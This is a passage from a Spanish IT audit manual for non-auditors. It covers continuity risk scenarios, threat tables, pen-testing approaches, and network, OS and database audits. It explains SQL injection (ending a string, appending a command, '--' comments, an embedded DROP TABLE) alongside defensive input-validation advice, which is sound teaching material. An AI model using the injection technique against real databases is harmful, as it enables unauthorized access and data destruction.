Ante la posible materialización de algún evento que ponga en riesgo la operatividad de la Entidad y con el fin de establecer prioridades para la mitigación de los riesgos, se hace necesario disponer de metodologías para su evaluación. La metodología del plan de continuidad del negocio determina los diversos escenarios de amenazas de una Entidad, el cual permite desarrollar las estrategias de continuidad y los planes para reanudar los servicios que estaban en operación.

Página 47 de 430

Manual de Auditoria para no Auditores La gestión del riesgo debe contemplar el “cálculo del riesgo, la apreciación de su impacto en el negocio y la posibilidad de ocurrencia3. 3 Hiles,

Andrew. Business Continuity: Best Practices. Rothstein Associates, Inc. 2004 Connecticut.

A pesar de la existencia de diversidad de métodos es recomendable iniciar con los más sencillos, que forman parte de lo que denominamos análisis previos. Una primera aproximación es la de establecer un conjunto de causas que pueden generar dificultades, tales como: Riesgos Tecnológicos:

Fallas en el Fluido Eléctrico. Sabotaje Informático. Fallas en el Centro de Datos. Problemas Técnicos. Fallas en equipos tanto telecomunicaciones como eléctricos. Servicios de Soporte a Sistemas de Producción y/o Servicios. Riesgos Humanos:

Robos. Acto Hostil. Marchas, mítines. Artefactos explosivos. Problemas organizacionales. Problemas con los proveedores de insumos o subproductos. Desastres Naturales: Sismos. Tormentas Eléctricas. Incendios. Inundaciones. CLASIFICACIÓN DE ESCENARIOS DE RIESGO A fin de conocer con precisión los riesgos potenciales de la prestación de servicios de tecnologías de la información en las Entidades, es recomendable clasificar los posibles escenarios de los riesgos potenciales y describir su nivel de impacto por cada función crítica del negocio. La siguiente tabla describe un ejemplo de esta clasificación. Categorías

Escenarios

Red Eléctrica

Fallas en el fluido eléctrico red normal (no regulada) Fallas en el Fluido Eléctrico red regulada

Descripción Impacto Fallas del servicio eléctrico de la entidad que afecta equipos eléctricos normales. Fallas en los servicios de Tecnología de Información.

Página 48 de 430

Manual de Auditoria para no Auditores

Red Datos, Internet y Seguridad

Categorías Hardware distribuido

Problemas dispositivos Red: Falla Parcial

Falla temporal de los servicios de TI de todo un componente por limitación en la comunicación.

Problemas dispositivos Red: Falla Total

Falla general de los servicios de TI de todos los componentes por ausencia en las comunicaciones

Problemas en los Dispositivos Seguridad: Falla Parcial

Falla parcial de los servicios de TI de todos los componentes que tiene que ver con elementos de seguridad de TI (Elementos de Hardware Software) y ausencia de políticas y controles de TI.

Problemas en los Dispositivos Seguridad: Falla Total

Falla general de los servicios de TI de todos los componentes que tiene que ver con elementos de seguridad de TI (Elementos de Hardware, Software) y ausencia de políticas y controles de TI.

Ausencia servicio del canal de Internet Última Milla: Total

Falla general de los servicios de TI de todos los componentes involucrados en la conexión de última milla por ausencia en la comunicación. No acceso a internet; impacto directo con el proveedor del servicio.

Escenarios

Descripción Impacto

Problema de Hardware de Servidores: Falla Total

Falla total de los servicios de los sistemas de información que usan la plataforma de servidores.

Problemas en sistema Almacenamiento

Degradación de la calidad (lentitud) de los servicios de los sistemas de información que usan la plataforma de servidores. Falla de los servicios de los sistemas de Información que usan la plataforma de almacenamiento de información.

Hardware distribuido

Problemas Hardware de Servidores

Falla de los servicios de los sistemas de información que usan la plataforma de servidores.

Categorías

Escenarios

Descripción Impacto

Ausencia de funcionarios, incapacidades y rotación

Disminución de capacidad de atención a los clientes y usuarios, lentitud en la atención a requerimientos e incidentes, como también el retraso en la puesta en marcha de nuevos servicios.

Problema HW Servidores: Falla Parcial

Recursos Humanos Errores humanos en operación

Contempla desde la degradación de un servicio hasta la pérdida del mismo, como también la ejecución de procedimientos de manera errada que de cómo resultado la pérdida del servicio de uno o todos los sistemas de información del proyecto.

Página 49 de 430

Manual de Auditoria para no Auditores

Categorías

Escenarios Falla en la aplicación por desarrollo no adecuado de parte de terceros

Descripción Impacto Contempla la degradación de un servicio por fallas en la funcionalidad de los sistemas de información.

Desarrollo de aplicaciones Falla en la aplicación por desarrollo no adecuado por parte de la Entidad

Contempla la degradación de un servicio por fallas en la funcionalidad en los sistemas de información de la Entidad. .

METODOLOGÍA DEL RIESGO Es importante determinar los riesgos a los que están enfrentadas las infraestructuras de TI de las organizaciones con base en la identificación tanto de amenazas como de vulnerabilidades. La identificación de amenazas que pueden afectar un activo de información puede clasificarse de la siguiente manera:  Amenazas a las instalaciones: Caídas de energía, daños de agua, fallas mecánicas, pérdidas de acceso.  Amenazas tecnológicas: Fallas en las comunicaciones, fallas en el software, fallas en el hardware, virus, spam, hacking, pérdida de datos, entre otros.  Amenazas naturales: Inundaciones, sismos, huracanes, tormentas, incendios, entre otros.  Amenazas sociales: Protestas, sabotajes, motines, asonadas, terrorismos, vandalismos, entre otros.  Amenazas humanas: Problemas de transporte, huelgas, epidemias, pérdida de personal clave. IDENTIFICACIÓN DE VULNERABILIDADES Las vulnerabilidades son las debilidades de seguridad de Información asociadas a los activos de información y se hacen efectivas cuando una amenaza la materializa en los sistemas de información de las Entidades. Estas no son causa necesariamente de daño, sino que son condiciones que pueden hacer que una amenaza afecte a un activo de información en particular. Para cada amenaza identificada en el punto anterior se debe realizar un análisis de riesgo para identificar la(s) vulnerabilidad(es).

Página 50 de 430

Manual de Auditoria para no Auditores La siguiente tabla muestra un ejemplo de las amenazas y vulnerabilidades por cada Activo de Información. Sistema TIC /SI

Activo de Información

Amenaza

Vulnerabilidad

Probabilidad Ocurrencia

Impacto

Servicio Web de la Entidad

Página Web Entidad

Defacement (desfiguración página web)

Mal diseño del sitio web

Medio

Alto

Servicio correo electrónico

Correo electrónico Exchange

Virus, listas negras

Alto

Alto

Sistema de Almacenamiento

SAN / NAS

Falla Fluido Eléctrico

Bajo

Alto

Sistema Base de Datos

Base de Datos Interna

Uso no autorizado no monitoreado

Bajo

Alto

Servicio de Red Comunicaciones

Router / Firewall y Switches

Fallo en las Comunicaciones

Medio

Alto

Carencia de parches de seguridad

No hay buena acometida eléctrica

Mala Configuración Falta de uso herramientas

Mala configuración o Elección del Modelo

Es obvio, que en esta tabla se han omitido todas las vulnerabilidades, relativas al Software, debido a que el Software admite múltiples combinaciones y es imposible predecir todos los resultados, dado que no todos los productos software, aparecen de forma coordinada y no todas las organizaciones migran sus herramientas y sus aplicaciones derivadas del uso de las mismas. Para localizar las vulnerabilidades software hay varias páginas que son interesantes vamos hablar de las dos más conocidas la primera es del Instituto Nacional de Ciberseguridad (INCIBE) cuya dirección web para vulnerabilidades es https://www.certsi.es/alerta-temprana/vulnerabilidades. La segunda página web es: https://www.first.org/cvss/calculator/3.0 en ambas parecen las distintas vulnerabilidades, para cada producto software y cada versión que introduzcamos, lo que ocurre con esta segunda es que además nos ofrece información específica de cómo afecta cada una de estas vulnerabilidades a los elementos fundamentales del ISO 27001 que responden a las siglas de C.I.A / C.I.D en español de las que luego hablaremos. Una vez tenemos los informes de los BIAs que han sido sometidos a las valoraciones y aprobaciones tanto del: CSGSI como del CSGA, será necesario comprobar de forma controlada su correcto funcionamiento, para ello hemos de corroborar la funcionalidad frente a las amenazas externas como internas, para ello nos valdremos de las técnicas relacionadas con las distintos tipos de Auditoria de utilizadas para chequear y contrastar los siguientes elementos que Página 51 de 430

Manual de Auditoria para no Auditores componen los elementos TIC /SI: Redes, Sistemas Operativos Servidor / Cliente y Aplicaciones por último las Bases de Datos de la cuales vamos hablar a continuación, para su mejor compresión y para valor su viabilidad dentro de nuestro proyecto.

Capitulo 5 Auditorias: No es tan fiero el Lobo como lo pintan. Hemos citado en el parrafo anterior que hay varios tipos de Auditoria, que responden a cada uno de los componentes que integran un sistema completo TIC / SI. Auditoria de Redes teniendo en cuenta que hoy en día todos los negocios se realizan a través de las Redes y todas ellas, conectadas a su vez a la Red de Redes (Internet) debemos prestar especial atención a la Auditoria que se realiza sobre este elemento, tanto por parte de los atancantes externos, como los internos, que transfieren información sensible o confidencial hacia el exterior. En vez de enredarnos en tediosas y largas descripciones, hemos selecionado un conjunto de varias presentaciones y diapositivas, que nos dan las guias precisas para entender que debemos esperar de los auditores, que van a realizar este tipo de auditoria tan especializado y que mostraremos en las siguientes páginas. Para respetar los derechos de autor, cada conjunto de diapositivas tendra, como diapositiva inicial aquella donde figura el autor de la misma y los datos de contacto de los mismos. Esto se hace para atenerse a lo dispuesto en la ley de propiedad intelectual.

La parte física de la Auditoria de Redes se atendrá a lo expuesto en una norma que no es ISO, pero que define los estándares que se han de cumplir para garantizar la estructura física de cualquier instalación TIC / SI como es la TIA492 y de la cual vamos a incluir a continuación algunas diapositivas para una mejor comprensión del lector SlideShare TIA 492 Publicado 1 de abril 2013 cuya autoría se corresponde a 1. NORMATIVA PARA IMPLEMENTAR DATA CENTERS Telecommunications Infrastructure Sanders for Data Centers Ingeniería de Sistemas e Informática Universidad Alas y que se expone a continuación.

Página 52 de 430

Manual de Auditoria para no Auditores

Página 53 de 430

Manual de Auditoria para no Auditores

Página 54 de 430

Manual de Auditoria para no Auditores

Una vez hemos conocido el estándar relativo a las condiciones físicas que debe de cumplir toda instalación TIC / SI para garantizar su operatividad funcional podemos pasar al abordaje de la parte lógica de la Auditoria de Redes. Lo primero que debemos de comprender es que tanto desde el exterior como desde el interior es posible que se produzcan ataques y que todos los ataques tanto externos como internos siguen unas pautas que apoyan en la existencia de agujeros de seguridad conocidos como vulnerabilidades y que utilizan técnicas Página 55 de 430

Manual de Auditoria para no Auditores e instrumentos propios de la ingeniería de software, la misma que se usa para construir otras herramientas, además de la ingeniería social para lograr el acceso físico y la introducción de llaves lógicas, que abran puertas inexistentes hacia el exterior. Para ampliar información respecto a esta norma consultar estos links:http://www.c3comunicaciones.es/data-center-el-estandar-tia-942/ Vulnerabilidades y Ataques Informáticos

Página 56 de 430

Manual de Auditoria para no Auditores Aunque pueda parecer un contrasentido, si realmente queremos conocer la fortaleza o debilidad de nuestra seguridad física y lógica, se puede contratar a Hackers para que realicen las siguientes técnicas, habiendo explicitado mediante contrato, que técnicas de pen testing se utilizaran y determinado un alcance concreto para el uso de dichas técnicas, por parte de estos profesionales. Siempre que consideren adecuadas todas las técnicas caja negra, como de caja blanca o incluso de caja gris. Caja negra. En teoría de sistemas y física, se denomina Caja Negra a aquel elemento que es estudiado desde el punto de vista de las entradas que recibe y las salidas o respuestas que produce, sin tener en cuenta su funcionamiento interno. En otras palabras, de una caja negra nos interesará su forma de interactuar con el medio que le rodea (en ocasiones, otros elementos que también podrían ser cajas negras) entendiendo qué es lo que hace, pero sin dar importancia a cómo lo hace. Por tanto, de una caja negra deben estar muy bien definidas sus entradas y salidas, es decir, su interfaz; en cambio, no se precisa definir ni conocer los detalles internos de su funcionamiento. Caja Blanca. Una auditoria de tipo caja blanca se produce cuando el auditor puede gozar de conocimientos internos (puede conocer la infraestructura de la web, las medidas de seguridad de la página web, puede entrevistar a los desarolladores, puede revisar código, etc..) y simula el comportamiento de un atacante que podría venir del interior de la organización y/o con colaboración interna a la misma. Caja Gris. Prueba de caja gris (del inglés: Gray box testing) es una combinación de prueba con caja blanca y prueba con caja negra. El objetivo de esta prueba es para buscar los defectos debido a una estructura incorrecta o en el uso incorrecto de aplicaciones. Las pruebas con caja gris son beneficiosas porque toman la técnica directa de la prueba de caja negra y lo combinan con los sistemas con código en mente de la prueba con caja blanca. Las pruebas con caja gris están basadas en generar caso de prueba como requisito porque así se presentan todas las condiciones antes de que el programa sea probado utilizando el método de aserción. Una lengua de especificación es usada para hacer más fácil de entender los requisitos y verificar su uso correcto.

Página 57 de 430

Manual de Auditoria para no Auditores Muchas de las brechas de seguridad, se generan por no hacer uso de las herramientas, que los propios equipos traen y que nos permiten cambiar las contraseñas, nos permitir el uso de protocolos no seguros / no fiables, cuando podemos modelar todo esto para evitar brechas simples de solucionar, que bastaría simplemente con tener conocimiento de cuales han sido aplicado y están siendo monitorizadas y cuales no se utilizado, ni se monitorizan. Con ello lo único que estamos haciendo es fomentar el riesgo innecesario.

Página 58 de 430

Manual de Auditoria para no Auditores Hay que señalar que el protocolo TELNET es un recurso en la mayoría de los Sistemas Operativos de generaciones posteriores al año 2000 requiere de activación expresa, por defecto esta deshabilitado, que lo habitual es el uso de SSH y TLS por ser más seguros y confiables. Auditoria de Redes Lógicas

Página 59 de 430

Manual de Auditoria para no Auditores

Por ello es muy importante hacer hincapié, en los procesos de auditoria que afectan al Firewall, los Switches, y todos los dispositivos que se direccionen mediante una dirección ip, ya que son susceptibles de sufrir ataques. Por eso es conveniente y necesario que el Auditor disponga de: un inventario técnico detallado, para poder estudiar de forma anticipada los mecanismos de seguridad con los que cuentan estos dispositivos, así como

Página 60 de 430

Manual de Auditoria para no Auditores conocer, si existe una guía de auditoria que incluso algunos fabricantes elaboran para verificar la operatividad más allá de lo que hace el usuario convencional. Auditoria Red Física

Página 61 de 430

Manual de Auditoria para no Auditores

Página 62 de 430

Manual de Auditoria para no Auditores

Página 63 de 430

Manual de Auditoria para no Auditores

Página 64 de 430

Manual de Auditoria para no Auditores

Página 65 de 430

Manual de Auditoria para no Auditores

Página 66 de 430

Manual de Auditoria para no Auditores

Página 67 de 430

Manual de Auditoria para no Auditores

Una vez concluida la Auditoria de Red, debemos en caso de que exista y se utilice de forma cotidiana pasar a realizar la Auditoria Web que emplea las técnicas ya citadas y verificar si los componentes utilizados, para su desarrollo y explotación, están debidamente gestionados y puestos al día, en cuanto hace referencia a los programas encargados de reparar, los agujeros de seguridad que se han ido detectando, con el paso del tiempo.

Página 68 de 430

Manual de Auditoria para no Auditores También es muy importante verificar no sólo la correcta aplicación de los mismos y su inventariado, sino que en todos los desarrollos ya sean internos o externos, este perfectamente documentados, sincronizados las versiones utilizadas. De esto hablaremos más en profundidad al abordar las Auditorias de Desarrollo y de Bases de Datos, así como de Aplicaciones. Auditorias de Sistemas Operativos Servidor / Cliente.

Auditorias de Sistemas Operativos Servidor / Cliente. Los sistemas operativos son la primera pieza por la que la seguridad puede quebrarse desde fuera y desde dentro, empecemos por algo muy básico como es que mientras en los grandes sistemas o mainframes o sistemas clásicos cuya arquitectura era: maestro-esclavos, el terminal carece de inteligencia para ejecutar procesos, en los sistemas modernos la capacidad de ejecución de procesos no llega alcanzarse por parte de los terminales, pero contraprestación el tipo de procesos que pueden ejecutarse es infinito frente al ordenador central. Mientras en el ordenador hay una única licencia, en los ordenadores personales se requiere una licencia por cada procesador, aunque en los últimos tiempos la compra del hardware lleva aparejada, la licencia software correspondiente. Por tanto, el marco legal garantiza el soporte necesario frente a posibles pérdidas de datos durante la vida del sistema operativo en cuestión. Arquitectura Servidor / Cliente. Desde la aparición de Windows Server, cada vez más organizaciones lo han adoptado, como sistema operativo corporativo, lo que ha obligado a Microsoft como empresa a mejorar en cada nueva versión tanto en la versión de servidor, que aglutina la mayoría de aplicaciones sobre la que se construye el SI de cualquier empresa, como en las distintas versiones clientes de Windows en las tres últimas versiones Windows 7 (4 versiones diferentes) Windows 8-8.1 y Windows 10 (2 Versiones), las mejoras se han enfocados hacia la seguridad y la conectividad. Ello también es producto que el competidor directo de Microsoft, los sistemas Linux han mejorado en esas facetas y también en el desarrollo de interfaces de usuario gráfico, que lo antes era privativo de Windows o Mac o también lo es ahora de Linux con lo cual los clientes finales tienen dos alternativas de pago y varias gratuitas, donde lo que aún faltan son aplicaciones de usuario final, que en algunos años correrán en todas las plataformas. Lo importante cuando hablamos de un sistema operativo Servidor / Cliente son las siguientes características: 1.- Debe proporcionar niveles avanzados de conectividad multiplataforma con mecanismos de autenticación robustos, lo que supone que cada parte de los mecanismos de conexión y autenticación puede garantizar: la confiabilidad, la

Página 69 de 430

Manual de Auditoria para no Auditores integridad y la disponibilidad de la información, a lo largo de todo el proceso de autenticación del Usuario. Desde el inicio hasta el cierre de la/as sesión/es. 2.- Debe suministrar mecanismos de monitorización constante, sobre los recursos locales y remotos, que cada usuario utiliza durante todas y cada una de las sesiones establecidas. 3.- Debe garantizar que los privilegios de los Usuarios y de los Grupos de Usuarios sólo pueden ser gestionados por Administradores Locales y Remotos desde los Servidores y Controladores de Dominio o de Grupo de Trabajo que han superado de forma satisfactoria todos los mecanismos de autenticación incluidos los ocultos a los mismos. 4.- Que dispone y obliga al uso de contraseñas con ciclos de vida y características morfológicas y sintácticas avanzadas, sin exclusión de uso de datos biométricos. 5.- Que dispone de herramientas para adecuar los recursos de cada cliente, de forma individual, conforme a un perfil compuesto de ubicación física y lógica, ya sea fija o móvil, respecto tanto a los recursos locales conforme al tipo de terminal que se esté utilizando, ya sea: PC-Desktop, Portátil, Tablet, Smartphone, u otros que surjan en un futuro, como respecto a los recursos remotos allí, donde se le ha permitido el acceso. 6.- Debe garantizar, que no podrá modificar salvo autorización expresa y bajo circunstancias excepcionales, cualquiera de los componentes que no estén requeridos de forma explícita por los requisitos de comunicación o de uso de programas (entiéndase aplicaciones) para fin distinto al que fue establecido por la organización. 7.- Que cualquier modificación local, será siempre transitoria y deberá estar autorizada, ya que se verificará que las configuraciones de componentes disponibles, para este usuario, deben permanecer inalterables y en caso de encontrar discrepancias, la configuración establecida en el servidor de dominio donde se conecta, como primer punto de acceso a la red y donde está registrado remplazará la modificada, ya que solo la definida en el servidor es aceptada como válida. 8.- Que el conjunto de herramientas que permiten modificar componentes del sistema operativo está inhabilitado para el usuario final como, por ejemplo: el panel de control, el editor de registro, etc.… así como el acceso a protocolos de comunicaciones y transferencia de datos declarados como no seguros. 9.- Que las conexiones inactivas durante un intervalo de tiempo establecido expiran requiriéndose de nuevo autenticación completa, salvo que sea el servidor quien inicie una sesión remota, para cualquier clase de trabajo necesario y que preferentemente responda al patrón de sesión inatendida, por parte del usuario final. 10.- Que debe de contar con sistema que permitan gestionar diferentes estados del sistema operativo local y realizar trabajos de recuperación en caso de Página 70 de 430

Manual de Auditoria para no Auditores procesos de actualización critica hayan fallado, o chequeos de software como por ejemplo sería el análisis rutinario en busca de malware o spyware. Todos los procesos relatados anteriormente son relativos al servidor como servidor de comunicaciones y servidor ejecutando procesos de aplicaciones locales o distribuidas a través de las redes de la empresa. Por tanto es muy importante corroborar que las actualizaciones están al día, al menos la de importancia alta, según las páginas que citamos y que ahora recordamos de nuevo https://www.certsi.es/alerta-temprana/vulnerabilidades y https://www.first.org/cvss/calculator/3.0 También es importante conocer aquellas que no adoptado, cual es la causa de que esto sea así, sí se dan casos en que esta circunstancia se presenta de forma reiterada, será bueno comunicárselo en caso de tratarse de diferente auditor comunicarlo al auditor que lleve a cabo la auditoria de desarrollo para conocer en mayor profundidad el porqué de esta circunstancia y consensuar la explicación y recomendaciones finales entre ambos auditores. Todas las pruebas relacionadas con este tipo de Auditorias, las de Sistema Operativo, han de ser realizadas mediante la ejecución de sencillos scripts, para los cuales el auditor, no tienen necesariamente que tener mayores conocimientos del sistema operativo o sistemas operativos a auditar, que cualquier usuario de la organización, donde se está desarrollando la auditoria. Es importante que sea posible además de recopilar información escrita, sobre los resultados obtenidos mediante la ejecución de dichos scripts y sus ficheros de salida, que deben tener hash, obtener otro tipo de evidencias, por ejemplo: videos o fotografías, lo mismo que ocurre con las inspecciones oculares con en el caso de las auditorias de infraestructura física, en este caso, durante la ejecución que se puedan incorporar en caso necesario a los informes de evidencia con posterioridad. Antes de pasar a las Auditoria de Base de Datos y de Desarrollo, es muy importante recopilar información tanto de la infraestructura física red, como de la infraestructura lógica, hasta aquí vista, digo recopilar información financiera y de mantenimiento. Ya que forman parte del coste operativo del área TIC / SI y también es importante saber que esta amortizado y por tanto es susceptible por requerimientos de seguridad física y lógica de ser trasladado, a áreas de menor exposición al riesgo, o donde la gestión de la configuración no juegue, un roll critico en función de los resultados obtenidos vía pen testing sobre todo los obtenidos mediante el uso de caja negra. Todas las organizaciones e incluso nosotros mismos, para nuestros usos personales utilizamos bases de datos, de todo tipo y clase y por tanto teniendo en cuenta que el activo de las diferentes clases de información de la organización, los procesos documentación, gestión y automatismos residen sobre este tipo de herramientas es importante: dedicarles la debida atención como hemos venido haciendo con las redes y los sistemas operativos.

Página 71 de 430

Manual de Auditoria para no Auditores

Capítulo 6 Las Bases de Datos y su Auditoria: Motor SGDBR y Desarrollo. Donde descansa la mayoría de la información de nuestra empresa. Quien piense que las Bases de Datos, con independencia de su arquitectura, concepto, lenguaje de definición, modelado, explotación y uso, son un recurso menos crítico, que los vistos anteriormente, se equivoca, quizás junto con Desarrollo y por contener toda clase de información sensible y no sensible, es de los activos más sensibles y complejos de auditar, de hechos, son uno de los objetivos básicos de cualquier ataque, dado que su información es valiosa por sí misma y es un bien negociable. Como en los casos anteriores vamos a utilizar dos presentaciones una muy generalista y una más especifica que nos indican las pautas a seguir: Extraído de SlideShare Publicado 28 de mayo 2013. Auditoria de Base de Datos y Desarrollo

Algo que puede parecer muy banal y no lo es, la base de datos que utiliza el personal de Seguridad Física, que realiza el control de Accesos a nuestras instalaciones y que puede estar vinculada con la Base de Datos de Video vigilancia. La Base de Datos del Personal Externo, de nuestros proveedores que vienen hacer trabajos y en la cual está definido, por ejemplo: semanas laborales, Página 72 de 430

Manual de Auditoria para no Auditores vigencia de las autorizaciones, zonas de circulación permitida y prohibidas dentro de la empresa, etc.… Incluso los sistemas operativos utilizan bases de datos, para gestionar los Usuarios, los grupos de pertenencia a Grupos de Trabajo y Dominios, tipo de objetos a los que se puede acceder y tipo de uso que se les puede aplicar, etc. De hecho, cuando se está tratando con la gestión de acceso, se está tratando con una Base de Datos de Permisos distribuida a través de la Red.

Dependiendo de quién y cómo se construyen las aplicaciones, es posible que tanto en el Servidor, como los Clientes que acceden al Servidor, donde radica el motor de Base de Datos, se esté generando registros, en el sistema operativo tanto en el de los Clientes como en el Servidor, así como en el propio motor de la Base de Datos por es importante tener presente lo siguiente:

Página 73 de 430

Manual de Auditoria para no Auditores

Profundizando más con lo expuesto en la diapositiva el tema de los lenguajes de programación y de las herramientas de desarrollo CASE y sobre todo los CASE con funcionalidades de Reverse Engineering, siempre surge el tema no sólo de los accesos no autorizados, sino el problema que supone la posibilidad de exportar estos datos hacia el exterior, o hacerlos circular dentro de la empresa de manera incontrolada. Un ejemplo de esto es JAVA y el eterno problema de los plugins de los navegadores que operan sobre sistemas Windows, otra cuestión son sistemas como Linux o MacOS. De esto hablaremos más en profundidad al hablar de las Auditoras de Desarrollo. Presentación descargada desde SlideShare y elaborada por los siguientes autores

Página 74 de 430

Manual de Auditoria para no Auditores

Página 75 de 430

Manual de Auditoria para no Auditores

Página 76 de 430

Manual de Auditoria para no Auditores

Página 77 de 430

Manual de Auditoria para no Auditores

Página 78 de 430

Manual de Auditoria para no Auditores

Auditoria aplicadas a los Motores de Base de Datos Oracle y SQL-Server

Página 79 de 430

Manual de Auditoria para no Auditores

Página 80 de 430

Manual de Auditoria para no Auditores

Página 81 de 430

Manual de Auditoria para no Auditores

Página 82 de 430

Manual de Auditoria para no Auditores

Página 83 de 430

Manual de Auditoria para no Auditores

Página 84 de 430

Manual de Auditoria para no Auditores

Y como las Bases de Datos y la mayoría de las aplicaciones que las empresas desarrollan para su modelo de gestión del negocio, generan una problemática propia a la hora de Auditar hablemos de este proceso, primero de forma generalista y luego profundizaremos más en la cuestión.

Página 85 de 430

Manual de Auditoria para no Auditores

Página 86 de 430

Manual de Auditoria para no Auditores

Página 87 de 430

Manual de Auditoria para no Auditores

Bueno en cuanto a lenguajes de programación y herramientas de desarrollo, la variedad es infinita, hay tanta diversidad sobre cada herramienta y sus lenguajes asociados, que es casi imposible establecer parámetros que permitan auditar de forma formal que se debe estudiar. Básicamente lo que se busca de forma sistemática hoy dentro del Código son las puertas trasera o Backdoor, y aquellos puntos donde es posible realizar inyecciones SQL concepto que vamos a explicar, más adelante dentro de este mismo capítulo, puesto que una gran parte de ataques modernos vía Web se basan en esta técnica que permite acceder a Bases de Datos, con lo que ello supone, no solo por la pérdida de Confidencialidad de la Información y de la alteración de la Integridad, amén de hacerla disponible más allá de los limites aceptados permitidos. Página 88 de 430

Manual de Auditoria para no Auditores

Inyección SQL extraído de TechNet ©® de Microsoft. La inyección de código SQL, es un ataque en el cual se inserta código malicioso en las cadenas que posteriormente se pasan a una instancia de SQL Server para su análisis y ejecución. Todos los procedimientos que generan instrucciones SQL deben revisarse en busca de vulnerabilidades de inyección de código, ya que SQL Server ejecutará todas las consultas recibidas que sean válidas desde el punto de vista sintáctico. Un atacante cualificado y con determinación puede manipular incluso los datos con parámetros. La forma principal de inyección de código SQL consiste en la inserción directa de código en variables especificadas por el usuario que se concatenan con comandos SQL y se ejecutan. Existe un ataque menos directo que inyecta código dañino en cadenas que están destinadas a almacenarse en una tabla o como metadatos. Cuando las cadenas almacenadas se concatenan posteriormente en un comando SQL dinámico, se ejecuta el código dañino. El proceso de inyección consiste en finalizar prematuramente una cadena de texto y anexar un nuevo comando. Como el comando insertado puede contener cadenas adicionales que se hayan anexado al mismo antes de su ejecución, el atacante pone fin a la cadena inyectada con una marca de comentario "--". El texto situado a continuación se omite en tiempo de ejecución. Aunque aquí solo estamos haciendo una recopilación de tipos de riesgos a lo que nos enfrentamos, mediante diferentes técnicas de Auditoria retomando la cita que introdujo este concepto, veamos que debemos buscar para verificar que el programador o programadores, están tomando medidas para evitar que las inyecciones SQL logren sus objetivos, que es: una vez sobrepasada las barreras tradicionales de seguridad interna poder acceder sin contar con la autorizaciones pertinentes acceder a datos sensibles. Valide siempre los datos especificados por el usuario mediante comprobaciones de tipo, longitud, formato e intervalo. A la hora de implementar medidas de precaución frente a la especificación de datos dañinos, tenga en cuenta la arquitectura y los escenarios de implementación de la aplicación. Recuerde que los programas diseñados para ejecutarse en un entorno seguro pueden copiarse en un entorno no seguro. Las sugerencias que se muestran a continuación deben considerarse prácticas recomendadas: 

No haga suposiciones sobre el tamaño, tipo o contenido de los datos que recibirá la aplicación. Por ejemplo, debe hacer la siguiente evaluación: o

Cómo se comportará la aplicación si un usuario (malicioso o no) especifica un archivo MPEG de 10 megabytes cuando la aplicación espera un código postal.

o

Cómo se comportará la aplicación si se incrusta una instrucción DROP TABLE en un campo de texto.

Página 89 de 430

Manual de Auditoria para no Auditores 

Compruebe el tamaño y el tipo de los datos especificados y aplique unos límites adecuados. Esto puede impedir que se produzcan saturaciones deliberadas del búfer.



Compruebe el contenido de las variables de cadena y acepte únicamente valores esperados. Rechace las especificaciones que contengan datos binarios, secuencias de escape y caracteres de comentario. Esto puede impedir la inyección de scripts y puede servir de protección frente a explotaciones de saturación del búfer.



Cuando trabaje con documentos XML, valide todos los datos con respecto a su esquema a medida que se vayan indicando.



No cree nunca instrucciones Transact-SQL directamente a partir de datos indicados por el usuario.



Utilice procedimientos almacenados para validar los datos indicados por el usuario. En entornos de varios niveles, todos los datos deben validarse antes de que se admitan en la zona de confianza. Los datos que no superen el proceso de validación deben rechazarse, y debe devolverse un error al nivel anterior.





Implemente varias capas de validación. Las precauciones que tome contra usuarios malintencionados ocasionales pueden resultar ineficaces contra piratas informáticos con determinación. Lo más recomendable es validar los datos especificados por el usuario en la interfaz de usuario y, después, en todos los puntos posteriores en que atraviesen un límite de confianza. Por ejemplo, la validación de datos en una aplicación de cliente puede evitar la inyección de scripts. Sin embargo, si en el siguiente nivel se asume que ya se ha validado la entrada, cualquier usuario malintencionado que sea capaz de eludir un cliente puede disfrutar de un acceso sin restricciones a un sistema.



No concatene nunca datos especificados por el usuario que no se hayan validado. La concatenación de cadenas es el punto de entrada principal de una inyección de scripts.



No acepte las siguientes cadenas en campos a partir de los que puedan construirse nombres de archivo: AUX, CLOCK$, COM1 a COM8, CON, CONFIG$, LPT1 a LPT8, NUL y PRN.

Lo importante es que debemos tener presente que: no debemos especular a la hora de catalogar riesgos, si no elaborar un mapa de tipos de auditorías, por cada área que vaya a alinear, acreditar o certificar y verificar que cada auditoria ha verificado de forma completa su campo de actuación, para el que se formuló específicamente. Algunas auditorias que han de ser carácter general por estar los recursos implicados en las mismas distribuidos a lo largo de toda la Página 90 de 430

Manual de Auditoria para no Auditores organización por ejemplo Redes, Sistemas Operativos, Aplicaciones Ofimáticas son ejemplos válidos. Según se desarrolle el proyecto se debería completar, una tabla como la de la siguiente página, esta nos puede ayudar a conocer el progreso del análisis de Riesgos en cada área y por tipo de auditoria, con lo cual tendríamos un mapa de riesgos casi completo, excluidos los desastres naturales, cuyo riesgo está vinculado directamente con la ubicación y los desastres relacionados con la seguridad física, que se relacionan sobre todo con el mantenimiento de la infraestructura. Tipo Auditoria P=Pendiente / R=Realizado Redes Router Gateway Firewall IPS / IDS Protocolos No seguros Páginas Webs Sistemas Operativos Server Client Software Seguridad. Antivirus-Antimalware Backup-Restore Sistemas Ofimáticos Sistemas Correo-E. Sistemas FTP Motor Base de Datos Lenguajes ERP CMR

●●●●

Area1 P

R

P

●●●● R

P

R

Área-N P R

Página 91 de 430

Manual de Auditoria para no Auditores Otra tabla que nos puede ayudar a comprobar no sólo el progreso de nuestros múltiples proyectos de auditoria sería una tabla como la siguiente que es un mapa detallado de hallazgos sobre las amenazas vinculadas con los riesgos. Tipo Auditoria P=Pendiente / R=Realizado Redes Router Gateway Firewall IPS / IDS Protocolos No seguros Páginas Webs Sistemas Operativos Server Client Software Seguridad. Antivirus-Anti-Malware Backup-Restore Sistemas Ofimáticos Sistemas Correo-E. Sistemas FTP Motor Base de Datos Lenguajes ERP CMR

NV

Area1 VA VM

Modelo del Elemento VB

